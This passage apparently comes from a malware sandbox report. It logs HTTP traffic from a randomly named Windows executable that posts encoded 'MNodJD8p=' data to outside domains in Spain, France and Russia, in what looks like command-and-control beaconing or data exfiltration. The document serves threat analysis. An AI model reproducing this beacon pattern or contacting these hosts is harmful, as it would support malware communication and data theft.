                                                        Data Ascii: MNodJD8p=DhPT38hhcu2BBpEbA/aN6j4IJEkDvoL+oGMXaVcbJ7S/o+AVFYz155dkJkkpQHsnI4N4JWjVCu9VS/AjL/o8cF9n1VG6DClwUsC04gNcdf71B9DI52wpZQbj8VQ3gwucg6Pf0kzL6SyPxU4mwtdJsbsrbGdDeJIZ7kCVz7uxVLYO7/REQSrZPmBpg/5ewaffJk6WencrMbIdpWVXnzumDoS/3LZu2v5IAsT2wFk=
                                                        May 27, 2024 12:28:37.696006060 CEST865INHTTP/1.1 404 Not Found
                                                        Date: Mon, 27 May 2024 10:28:37 GMT
                                                        Content-Type: text/plain; charset=utf-8
                                                        Content-Length: 9
                                                        Connection: close
                                                        Access-Control-Allow-Origin: http://www.drednents.es
                                                        Vary: Origin, Accept-Encoding
                                                        Access-Control-Allow-Credentials: true
                                                        X-XSS-Protection: 1; mode=block
                                                        X-Frame-Options: DENY
                                                        X-Download-Options: noopen
                                                        X-Content-Type-Options: nosniff
                                                        ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"
                                                        CF-Cache-Status: DYNAMIC
                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jnh5c%2FHwAo6dFHY4CvECsCLj72s7NOt1qSK547%2BCdamrtz%2BNQlwJxS%2BbggShqLblaPLYNrcF1lhRA68r3O0q8kzOhzZpMAhpCGPf7uKXmz92Syk0QpiN1Eevb4VgElNPsC4J"}],"group":"cf-nel","max_age":604800}
                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                        Server: cloudflare
                                                        CF-RAY: 88a551b43941c3ff-EWR
                                                        alt-svc: h3=":443"; ma=86400
                                                        Data Raw: 4e 6f 74 20 46 6f 75 6e 64
                                                        Data Ascii: Not Found


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        19192.168.2.759288104.21.81.34806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:28:39.257930994 CEST1694OUTPOST /z86o/ HTTP/1.1
                                                        Host: www.drednents.es
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 1253
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.drednents.es
                                                        Referer: http://www.drednents.es/z86o/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 44 68 50 54 33 38 68 68 63 75 32 42 42 70 45 62 41 2f 61 4e 36 6a 34 49 4a 45 6b 44 76 6f 4c 2b 6f 47 4d 58 61 56 63 62 4a 37 4b 2f 6f 76 67 56 45 37 72 31 34 35 64 6b 58 55 6b 73 51 48 74 2f 49 35 6b 78 4a 57 76 46 43 6f 68 56 54 64 34 6a 44 75 6f 38 56 46 39 6e 6f 6c 47 2f 41 79 6b 30 55 73 53 77 34 67 39 63 64 66 37 31 42 37 76 49 2b 6e 77 70 66 51 62 69 37 56 52 34 6b 77 75 30 67 36 6e 6c 30 6b 32 30 36 6a 53 50 77 30 6f 6d 38 34 4a 4a 6c 62 73 70 61 32 64 62 65 4a 45 47 37 6b 75 2f 7a 36 61 58 56 4d 63 4f 71 4c 4d 6c 55 43 72 77 4f 31 39 76 67 59 4e 38 6e 61 33 4f 48 30 79 43 42 56 56 4b 4a 70 74 6b 68 67 39 49 74 32 48 77 63 35 4b 6f 77 4a 31 2b 31 5a 4d 51 53 75 79 73 71 6a 53 6b 2b 35 59 67 6a 61 30 4d 4f 49 58 48 37 44 2b 54 41 2b 6d 45 6a 51 6a 48 78 72 63 59 63 56 6b 79 41 76 34 30 73 69 58 72 31 57 55 6a 69 69 46 52 4a 35 35 33 76 57 30 5a 30 66 2f 56 6c 74 48 34 71 4d 39 36 6b 41 63 65 73 32 72 39 51 38 6e 68 67 73 2f 53 53 64 77 6a 4f 70 32 48 2b 67 62 54 36 [TRUNCATED]
                                                        Data Ascii: MNodJD8p=DhPT38hhcu2BBpEbA/aN6j4IJEkDvoL+oGMXaVcbJ7K/ovgVE7r145dkXUksQHt/I5kxJWvFCohVTd4jDuo8VF9nolG/Ayk0UsSw4g9cdf71B7vI+nwpfQbi7VR4kwu0g6nl0k206jSPw0om84JJlbspa2dbeJEG7ku/z6aXVMcOqLMlUCrwO19vgYN8na3OH0yCBVVKJptkhg9It2Hwc5KowJ1+1ZMQSuysqjSk+5Ygja0MOIXH7D+TA+mEjQjHxrcYcVkyAv40siXr1WUjiiFRJ553vW0Z0f/VltH4qM96kAces2r9Q8nhgs/SSdwjOp2H+gbT6gvZJZoV7CezHHxiSlXouJRulQbZE5UQfRcH6TjC/G1YOINn4BfHLp52m5eSwjfQSxU5ycOhFBlDazpeGj2qvr+r8mhAofh3XgM6PnXa1d5AFoJgiyTtW/9VD8UHhUI6Id3PVgkOile+0FoXi8AzCIBVZg8+nNPR5F6uOoeeX2ls/V2HvB5AopWaAwCBBa949jWWHaSBfQM7zA83MroLKlnXa1mIOhhaIxvE13XwJJsqt86azKCdg5/TzvXwyiReRtUH3mlFZbLaiJ4wv1KzEQbHIdeluJoQQ1ndOfiXGOWX9ahxNvCKu4BXxP7l0tnh0ls7YioA5vSRhpLNFYcISoc4qMHZIZy79wR1yJwR/8En3PLdB0EYfs8lqFLPgtTovhII2FDux78WVBRJiC/syGoluyhAJu/eo92/obiZUleAP7nU5AQce9VphtgRkdaExeB5dEbaA+/rvq+4UIrv26nvREYYP37Km/e7GOyD2Eg621tjUoVH6BnemPdJBgZTY0mIM+a4OJlvH0wEZctHkjMZwzxjkpesHlwHFlv6OJa0yjmXh9QyqPSutxR3iioV6kmgaZrzoq8LZbeNHBX/WM//dHVUV2aLgBp5V1K2tDcX1IKyPS3+b+rqRoCFF01IeAteJ6Ir+DFNrYJ6+mMLSoUkUeYXluGxIrT [TRUNCATED]
                                                        May 27, 2024 12:28:40.217943907 CEST867INHTTP/1.1 404 Not Found
                                                        Date: Mon, 27 May 2024 10:28:40 GMT
                                                        Content-Type: text/plain; charset=utf-8
                                                        Content-Length: 9
                                                        Connection: close
                                                        Access-Control-Allow-Origin: http://www.drednents.es
                                                        Vary: Origin, Accept-Encoding
                                                        Access-Control-Allow-Credentials: true
                                                        X-XSS-Protection: 1; mode=block
                                                        X-Frame-Options: DENY
                                                        X-Download-Options: noopen
                                                        X-Content-Type-Options: nosniff
                                                        ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"
                                                        CF-Cache-Status: DYNAMIC
                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i5xB%2B3GYEwb3Ba0Qfk7uJBm778wNTLDE%2FSypKun98MTOgyrHtYxafqkMxEuiifOljZ6bKTka5GU6jYovVif2IOH1VZwrzL1h%2B9H9Kd6bcn2%2BsGYhCYRtUsMaoX1Ha%2FkaVs4j"}],"group":"cf-nel","max_age":604800}
                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                        Server: cloudflare
                                                        CF-RAY: 88a551c3f84e42e1-EWR
                                                        alt-svc: h3=":443"; ma=86400
                                                        Data Raw: 4e 6f 74 20 46 6f 75 6e 64
                                                        Data Ascii: Not Found


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        20192.168.2.759289104.21.81.34806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:28:41.790386915 CEST404OUTGET /z86o/?MNodJD8p=Ojnz0Kg7atrxNq8YCu+svyw5JWMM1LKejTFIWEVqDJTsr8k/Cp/y34hmBl88WC07fa4Gfm/DSv1MHu4JYtU+JFgy+UqwczkQfuHRwTZ5WPzaTNzF4FwHRgOY2DJ/mTb+46Ki7EnPzQiQ&f4=xxLl5tHp-byppxH HTTP/1.1
                                                        Host: www.drednents.es
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        May 27, 2024 12:28:42.754818916 CEST807INHTTP/1.1 404 Not Found
                                                        Date: Mon, 27 May 2024 10:28:42 GMT
                                                        Content-Type: text/plain; charset=utf-8
                                                        Content-Length: 9
                                                        Connection: close
                                                        Vary: Origin, Accept-Encoding
                                                        Access-Control-Allow-Credentials: true
                                                        X-XSS-Protection: 1; mode=block
                                                        X-Frame-Options: DENY
                                                        X-Download-Options: noopen
                                                        X-Content-Type-Options: nosniff
                                                        ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"
                                                        CF-Cache-Status: DYNAMIC
                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FiPQzWNjWjLh6eNZ3w48BGVu6%2FpbXKJzPDnpo6OOGJF2sQwribnxRIaiEZtmte3pi5DpKY1f8QQK4vpCxjHfhQqq6Kg46lT7oytk2yvhhL2tiwYPbVP8QMtB46jHMxazpMuR"}],"group":"cf-nel","max_age":604800}
                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                        Server: cloudflare
                                                        CF-RAY: 88a551d3cb8a4204-EWR
                                                        alt-svc: h3=":443"; ma=86400
                                                        Data Raw: 4e 6f 74 20 46 6f 75 6e 64
                                                        Data Ascii: Not Found


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        21192.168.2.759290212.227.172.254806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:28:47.816790104 CEST658OUTPOST /7skl/ HTTP/1.1
                                                        Host: www.shopnaya.fr
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 221
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.shopnaya.fr
                                                        Referer: http://www.shopnaya.fr/7skl/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 51 52 6a 63 30 45 74 31 37 54 35 4f 62 75 4b 54 59 6b 65 37 6d 4f 68 4b 6a 5a 65 61 7a 74 56 72 43 73 39 61 4a 71 62 78 7a 66 71 7a 4e 51 34 76 68 6c 6f 42 33 45 72 68 63 4d 64 50 6c 49 2b 65 68 51 66 6b 2b 41 56 6a 78 77 2b 46 44 38 55 41 57 36 78 31 4d 4a 42 38 74 75 4d 6b 6c 57 71 31 79 45 6e 71 4f 48 49 4e 59 78 67 32 41 61 73 62 78 4d 6b 46 72 32 61 37 36 44 39 4e 32 55 55 74 54 2b 65 66 35 71 4d 70 74 33 4b 4a 6f 55 2b 57 7a 33 6a 5a 7a 77 72 30 6c 55 31 35 64 31 41 55 7a 35 64 4a 2b 70 79 31 56 64 76 2b 66 49 78 62 77 63 55 74 6e 37 68 73 6f 34 72 77 63 63 2f 33 4f 71 6c 75 30 72 67 6d 6c 36 42 79 4c 75 78 53 39 41 3d 3d
                                                        Data Ascii: MNodJD8p=QRjc0Et17T5ObuKTYke7mOhKjZeaztVrCs9aJqbxzfqzNQ4vhloB3ErhcMdPlI+ehQfk+AVjxw+FD8UAW6x1MJB8tuMklWq1yEnqOHINYxg2AasbxMkFr2a76D9N2UUtT+ef5qMpt3KJoU+Wz3jZzwr0lU15d1AUz5dJ+py1Vdv+fIxbwcUtn7hso4rwcc/3Oqlu0rgml6ByLuxS9A==
                                                        May 27, 2024 12:28:49.032264948 CEST423INHTTP/1.1 301 Moved Permanently
                                                        Server: nginx
                                                        Date: Mon, 27 May 2024 10:28:48 GMT
                                                        Content-Type: text/html
                                                        Content-Length: 162
                                                        Connection: close
                                                        Location: https://www.shopnaya.fr/7skl/
                                                        Expires: Mon, 27 May 2024 10:48:48 GMT
                                                        Cache-Control: max-age=1200
                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                        Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
                                                        May 27, 2024 12:28:49.032315016 CEST423INHTTP/1.1 301 Moved Permanently
                                                        Server: nginx
                                                        Date: Mon, 27 May 2024 10:28:48 GMT
                                                        Content-Type: text/html
                                                        Content-Length: 162
                                                        Connection: close
                                                        Location: https://www.shopnaya.fr/7skl/
                                                        Expires: Mon, 27 May 2024 10:48:48 GMT
                                                        Cache-Control: max-age=1200
                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                        Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        22192.168.2.759291212.227.172.254806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:28:50.376296997 CEST678OUTPOST /7skl/ HTTP/1.1
                                                        Host: www.shopnaya.fr
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 241
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.shopnaya.fr
                                                        Referer: http://www.shopnaya.fr/7skl/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 51 52 6a 63 30 45 74 31 37 54 35 4f 61 4f 36 54 49 7a 43 37 68 75 68 4c 2f 4a 65 61 36 4e 55 69 43 73 78 61 4a 76 36 70 7a 70 36 7a 49 43 77 76 69 67 45 42 2b 55 72 68 4f 73 63 46 68 49 2f 53 68 51 43 62 2b 45 56 6a 78 77 71 46 44 34 63 41 56 4e 46 32 64 4a 42 2b 6c 4f 4d 36 72 32 71 31 79 45 6e 71 4f 47 34 6a 59 78 6f 32 41 4c 63 62 2b 49 77 61 30 47 62 4a 35 44 39 4e 6e 45 56 6d 54 2b 65 70 35 72 41 48 74 31 43 4a 6f 52 36 57 7a 6d 6a 65 34 77 72 32 34 6b 30 6d 4e 56 56 75 71 4d 74 31 77 61 4f 42 53 75 62 64 65 2b 73 35 71 2b 59 42 35 71 5a 58 73 36 50 47 4c 36 69 43 4d 72 68 32 35 4a 55 48 36 4e 6b 59 47 38 51 57 72 2f 43 57 36 6c 42 2f 57 74 76 4f 7a 61 32 4c 2b 5a 4e 34 30 4a 51 3d
                                                        Data Ascii: MNodJD8p=QRjc0Et17T5OaO6TIzC7huhL/Jea6NUiCsxaJv6pzp6zICwvigEB+UrhOscFhI/ShQCb+EVjxwqFD4cAVNF2dJB+lOM6r2q1yEnqOG4jYxo2ALcb+Iwa0GbJ5D9NnEVmT+ep5rAHt1CJoR6Wzmje4wr24k0mNVVuqMt1waOBSubde+s5q+YB5qZXs6PGL6iCMrh25JUH6NkYG8QWr/CW6lB/WtvOza2L+ZN40JQ=
                                                        May 27, 2024 12:28:51.010438919 CEST423INHTTP/1.1 301 Moved Permanently
                                                        Server: nginx
                                                        Date: Mon, 27 May 2024 10:28:50 GMT
                                                        Content-Type: text/html
                                                        Content-Length: 162
                                                        Connection: close
                                                        Location: https://www.shopnaya.fr/7skl/
                                                        Expires: Mon, 27 May 2024 10:48:50 GMT
                                                        Cache-Control: max-age=1200
                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                        Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        23192.168.2.759292212.227.172.254806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:28:54.432080030 CEST1691OUTPOST /7skl/ HTTP/1.1
                                                        Host: www.shopnaya.fr
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 1253
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.shopnaya.fr
                                                        Referer: http://www.shopnaya.fr/7skl/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 51 52 6a 63 30 45 74 31 37 54 35 4f 61 4f 36 54 49 7a 43 37 68 75 68 4c 2f 4a 65 61 36 4e 55 69 43 73 78 61 4a 76 36 70 7a 70 79 7a 55 6e 38 76 69 48 77 42 6b 55 72 68 56 73 63 45 68 49 2f 66 68 51 61 66 2b 45 52 64 78 7a 53 46 43 66 63 41 64 66 74 32 55 4a 42 2b 36 65 4d 6e 6c 57 71 73 79 41 44 32 4f 47 49 6a 59 78 6f 32 41 4a 45 62 35 63 6b 61 6e 57 61 37 36 44 39 52 32 55 56 4f 54 36 36 58 35 72 55 35 75 46 69 4a 72 78 4b 57 78 55 37 65 6b 67 72 77 35 6b 30 75 4e 56 4a 4c 71 49 4e 58 77 62 72 71 53 73 37 64 66 76 70 78 79 66 63 4a 67 70 78 30 67 59 66 6f 41 61 4b 73 47 61 78 61 7a 71 6b 43 36 66 77 6b 66 39 46 5a 2b 4c 57 57 74 45 74 66 62 39 48 44 36 75 50 50 72 6f 46 67 74 2f 70 6e 44 44 66 4e 42 41 66 74 69 55 35 72 63 5a 63 65 78 35 75 6c 63 33 42 36 49 6c 55 71 44 69 63 4b 5a 65 5a 67 48 63 4b 59 7a 59 53 33 71 2f 45 62 4d 72 51 39 35 66 50 46 4b 45 50 39 64 73 48 62 4b 4a 77 51 53 64 43 6d 73 51 4d 6a 79 64 78 42 65 48 42 53 30 35 2f 42 4d 35 58 36 69 6e 56 6a 46 [TRUNCATED]
                                                        Data Ascii: MNodJD8p=QRjc0Et17T5OaO6TIzC7huhL/Jea6NUiCsxaJv6pzpyzUn8viHwBkUrhVscEhI/fhQaf+ERdxzSFCfcAdft2UJB+6eMnlWqsyAD2OGIjYxo2AJEb5ckanWa76D9R2UVOT66X5rU5uFiJrxKWxU7ekgrw5k0uNVJLqINXwbrqSs7dfvpxyfcJgpx0gYfoAaKsGaxazqkC6fwkf9FZ+LWWtEtfb9HD6uPProFgt/pnDDfNBAftiU5rcZcex5ulc3B6IlUqDicKZeZgHcKYzYS3q/EbMrQ95fPFKEP9dsHbKJwQSdCmsQMjydxBeHBS05/BM5X6inVjFnXU7SOn1tkTte16p0ZQi0jTDkZVEtQF4GoCtBF/S6u16PoDNDAox2jzijHNUTaYr/XiFzS2bPKuen7m4g1+I7ZUkJy6u7BqQVNMR5HflB2iyiPKeebndGTJT0TT/KHfCeD7LdmiqEzQusBtt+xwfK/eu10S0L8U+pKI+SsVkf/3Waoz2FdqEFexcZlqtQQEiFN5hr7TeEJUF951Xg1TLEeHM3AUiJ66WrapK1uUU5iIldN7znsDqSj9xHm2ymbQPkhcw/PallcJ06Kvlmyx+/fTD+Hb0emtOnqEt7dHpVBTdUkdn3j7ARQgHHcmenD0+lItQcLk+cBIp0YXg5P/aRaPUIn8TqGD8TJAHz5sH6s/SWm30wMJjcqL7QKTlLhCOUxeTfVMoQ1bwdVkPm/BqqdUkYntYe2mj/mAocowIiRXfYckPDb91c1Cx0NyKNpQl74aHheRAM6yqOHcTxlxeIfDJK9LwtoGS5u0F3GkwRRU/noyVVYIcaGXwpz7v8uq6Z92EmmCUU+AaMp7e5rb70nKyc7zVcMPbQBAyGaR5jHDFkzwJ4bnVI1vO5xiCi2VSViyIK47T0c1FisWjZRs3Vm5EF3xV6++bTt73anmsQO8oNk4/Sjt/JeSIsTE9J3AZlsQ5DBD3IIhhyPeADPqbEd0pWzEv1nhLEi [TRUNCATED]
                                                        May 27, 2024 12:28:55.067404032 CEST423INHTTP/1.1 301 Moved Permanently
                                                        Server: nginx
                                                        Date: Mon, 27 May 2024 10:28:54 GMT
                                                        Content-Type: text/html
                                                        Content-Length: 162
                                                        Connection: close
                                                        Location: https://www.shopnaya.fr/7skl/
                                                        Expires: Mon, 27 May 2024 10:48:54 GMT
                                                        Cache-Control: max-age=1200
                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                        Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        24192.168.2.759293212.227.172.254806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:28:56.961211920 CEST403OUTGET /7skl/?f4=xxLl5tHp-byppxH&MNodJD8p=dTL83zpU0xQ9edv6OGiX5dEIo4WZrMM8fLl2Krrsxam7NAcpt0Es3EGDcNMssM7b8wua4BB6pAKcVugLPNxCMOYttcIT7GyMy0e3JishaTIPS+4u6tMJjGSu/0BLy0AvAJTG8pRcvlin HTTP/1.1
                                                        Host: www.shopnaya.fr
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        May 27, 2024 12:28:57.597315073 CEST592INHTTP/1.1 301 Moved Permanently
                                                        Server: nginx
                                                        Date: Mon, 27 May 2024 10:28:57 GMT
                                                        Content-Type: text/html
                                                        Content-Length: 162
                                                        Connection: close
                                                        Location: https://www.shopnaya.fr/7skl/?f4=xxLl5tHp-byppxH&MNodJD8p=dTL83zpU0xQ9edv6OGiX5dEIo4WZrMM8fLl2Krrsxam7NAcpt0Es3EGDcNMssM7b8wua4BB6pAKcVugLPNxCMOYttcIT7GyMy0e3JishaTIPS+4u6tMJjGSu/0BLy0AvAJTG8pRcvlin
                                                        Expires: Mon, 27 May 2024 10:48:57 GMT
                                                        Cache-Control: max-age=1200
                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                        Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        25192.168.2.759294194.58.112.174806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:02.872034073 CEST652OUTPOST /ji0p/ HTTP/1.1
                                                        Host: www.yamlex.ru
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 221
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.yamlex.ru
                                                        Referer: http://www.yamlex.ru/ji0p/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 38 56 72 64 42 6c 72 67 79 54 75 49 58 4f 39 6b 62 4c 65 43 45 79 65 6b 53 33 35 38 74 4f 76 75 4d 79 51 41 65 75 2b 71 2f 4e 38 4a 54 30 37 77 77 67 75 66 41 66 33 42 58 61 6f 4c 73 4c 72 32 54 2b 75 6f 63 38 53 79 58 4f 54 69 54 6c 4e 7a 76 50 4d 63 54 4f 58 64 4a 74 46 6d 79 67 52 39 77 66 4b 51 63 69 6f 42 35 4e 37 76 36 39 76 67 30 74 39 74 66 65 49 35 6c 4e 32 68 49 4e 4a 47 34 58 79 62 54 4b 56 71 6f 38 74 33 56 39 44 4b 37 6a 77 5a 67 73 36 2b 68 36 6a 6d 55 33 56 57 2b 67 48 5a 62 2b 65 43 73 30 49 52 37 48 68 30 65 75 77 6c 58 41 70 41 76 2b 76 68 7a 49 50 52 36 62 79 54 49 75 75 34 6b 46 50 38 4d 61 52 55 52 77 3d 3d
                                                        Data Ascii: MNodJD8p=8VrdBlrgyTuIXO9kbLeCEyekS358tOvuMyQAeu+q/N8JT07wwgufAf3BXaoLsLr2T+uoc8SyXOTiTlNzvPMcTOXdJtFmygR9wfKQcioB5N7v69vg0t9tfeI5lN2hINJG4XybTKVqo8t3V9DK7jwZgs6+h6jmU3VW+gHZb+eCs0IR7Hh0euwlXApAv+vhzIPR6byTIuu4kFP8MaRURw==
                                                        May 27, 2024 12:29:03.587626934 CEST339INHTTP/1.1 302 Moved Temporarily
                                                        Server: nginx
                                                        Date: Mon, 27 May 2024 10:29:03 GMT
                                                        Content-Type: text/html
                                                        Content-Length: 154
                                                        Connection: close
                                                        Location: http://yamlex.ru/ji0p/
